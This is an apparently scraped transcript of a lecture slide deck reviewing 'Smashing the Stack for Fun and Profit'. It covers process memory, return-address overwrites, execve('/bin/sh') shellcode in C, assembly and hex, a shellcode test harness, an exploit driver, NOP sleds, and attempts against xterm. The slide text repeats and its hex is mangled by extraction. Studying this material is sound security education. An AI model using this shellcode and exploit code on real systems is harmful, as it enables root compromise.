Smashing the Stack for Fun and Profit Review

  • Slides: 46
Download presentation
Smashing the Stack for Fun and Profit • • • Review: Process memory organization

Smashing the Stack for Fun and Profit • • • Review: Process memory organization The problem: Buffer overflows How to exploit the problem Implementing the Exploit Results Conclusion and discussion

Process Memory Organization

Process Memory Organization

Process Memory Organization

Process Memory Organization

Process Memory Organization

Process Memory Organization

Function Calls

Function Calls

Function Calls

Function Calls

Buffer Overflows void function(char *str) { char buffer[8]; strcpy(buffer, str); } void main() {

Buffer Overflows void function(char *str) { char buffer[8]; strcpy(buffer, str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); }

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Buffer Overflows

Modifying the Execution Flow void function() { char buffer 1[4]; int *ret; ret =

Modifying the Execution Flow void function() { char buffer 1[4]; int *ret; ret = buffer 1 + 8; (*ret) += 8; } void main() { int x = 0; function(); x = 1; printf("%dn", x); }

Modifying the Execution Flow

Modifying the Execution Flow

Modifying the Execution Flow

Modifying the Execution Flow

Modifying the Execution Flow

Modifying the Execution Flow

Modifying the Execution Flow

Modifying the Execution Flow

Exploiting Overflows. Smashing the Stack • Now we can modify the flow of executionwhat

Exploiting Overflows. Smashing the Stack • Now we can modify the flow of executionwhat do we want to do now? • Spawn a shell and issue commands from it

Exploiting Overflows. Smashing the Stack • Now we can modify the flow of executionwhat

Exploiting Overflows. Smashing the Stack • Now we can modify the flow of executionwhat do we want to do now? • Spawn a shell and issue commands from it

Exploiting Overflows. Smashing the Stack • What if there is no code to spawn

Exploiting Overflows. Smashing the Stack • What if there is no code to spawn a shell in the program we are exploiting? • Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!

Exploiting Overflows. Smashing the Stack • What if there is no code to spawn

Exploiting Overflows. Smashing the Stack • What if there is no code to spawn a shell in the program we are exploiting? • Place the code in the buffer we are overflowing, and set the return address to point back to the buffer!

Implementing the Exploit • Writing and testing the code to spawn a shell •

Implementing the Exploit • Writing and testing the code to spawn a shell • Putting it all together- an example of smashing the stack • Exploiting a real target program

Spawning a Shell • Assembly instructions map directly into machine codes • XOR CL,

Spawning a Shell • Assembly instructions map directly into machine codes • XOR CL, 0 x 12 • XOR has a defined opcode: 0 x 80 • The CL register is defined: 0 x. F 1 • And then the immediate value 12 h: 0 x 12 • “x 80xf 1x 12” • How do you generate shellcode from a set of assembly instructions? • With an assembler • Or, translate a higher level language down to machine code with a compiler

Spawning a Shell #include <stdio. h> #include <stdlib. h> void main() { GDB char

Spawning a Shell #include <stdio. h> #include <stdlib. h> void main() { GDB char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); exit(0); } ASSEMBLY CODE

Spawning a Shell void main() {__asm__(" jmp 0 x 2 a popl %esi movl

Spawning a Shell void main() {__asm__(" jmp 0 x 2 a popl %esi movl %esi, 0 x 8(%esi) movb $0 x 0, 0 x 7(%esi) movl $0 x 0, 0 xc(%esi) movl $0 xb, %eax GDB movl %esi, %ebx BINARY CODE leal 0 x 8(%esi), %ecx leal 0 xc(%esi), %edx int $0 x 80 movl $0 x 1, %eax movl $0 x 0, %ebx int $0 x 80 call -0 x 2 f. string "/bin/sh" "); }

Spawning a Shell char shellcode[] = "xebx 2 ax 5 ex 89x 76x 08xc

Spawning a Shell char shellcode[] = "xebx 2 ax 5 ex 89x 76x 08xc 6x 46x 07x 00xc 7x 46x 0 cx 00x 00" "x 00xb 8x 0 bx 00x 89xf 3x 8 dx 4 ex 08x 8 dx 56x 0 cxc dx 80" "xb 8x 01x 00xbbx 00xcdx 80xe 8xd 1xff" "xffx 2 fx 62x 69x 6 ex 2 fx 73x 68x 00x 89xecx 5 dxc 3";

Putting it all Together char shellcode[]="xebx 1 f…. xb 0x 0 bxff/bin/sh"; char large_string[128];

Putting it all Together char shellcode[]="xebx 1 f…. xb 0x 0 bxff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); }

Putting it all Together

Putting it all Together

Putting it all Together

Putting it all Together

Putting it all Together

Putting it all Together

Putting it all Together

Putting it all Together

Putting it all Together

Putting it all Together

Putting it all Together

Putting it all Together

Exploiting a Real Program • It’s easy to execute our attack when we have

Exploiting a Real Program • It’s easy to execute our attack when we have the source code • What about when we don’t? How will we know what our return address should be?

How to find Shellcode 1. Guess - time consuming - being wrong by 1

How to find Shellcode 1. Guess - time consuming - being wrong by 1 byte will lead to segmentation fault or invalid instruction

How to find Shellcode 2. Pad shellcode with NOP’s then guess - we don’t

How to find Shellcode 2. Pad shellcode with NOP’s then guess - we don’t need to be exactly on - much more efficient

Summary • ‘Smashing the stack’ works by injecting code into a program using a

Summary • ‘Smashing the stack’ works by injecting code into a program using a buffer overflow, and getting the program to jump to that code • By exploiting a root program, user can call exec(“/bin/shell”) and gain root access

Summary • Buffer overflow vulnerabilities are the most commonly exploited- account for more than

Summary • Buffer overflow vulnerabilities are the most commonly exploited- account for more than half of all new security problems (CERT) • Are relatively easy to exploit • Many variations on stack smash- heap overflows, internet attacks, etc.

Testing the Shellcode char shellcode[ ] = "xebx 2 ax 5 e…/bin/sh"; void main()

Testing the Shellcode char shellcode[ ] = "xebx 2 ax 5 e…/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }

Testing the Shellcode

Testing the Shellcode

Testing the Shellcode

Testing the Shellcode

Small Buffer Overflows • If the buffer is smaller than our shellcode, we will

Small Buffer Overflows • If the buffer is smaller than our shellcode, we will overwrite the return address with instructions instead of the address of our code • Solution: place shellcode in an environment variable then overflow the buffer with the address of this variable in memory • Can make environment variable as large as you want • Only works if you have access to environment variables

Results: Hacking xterm Attempts • Without NOP padding • With NOP padding 10 •

Results: Hacking xterm Attempts • Without NOP padding • With NOP padding 10 • Using environment variable 1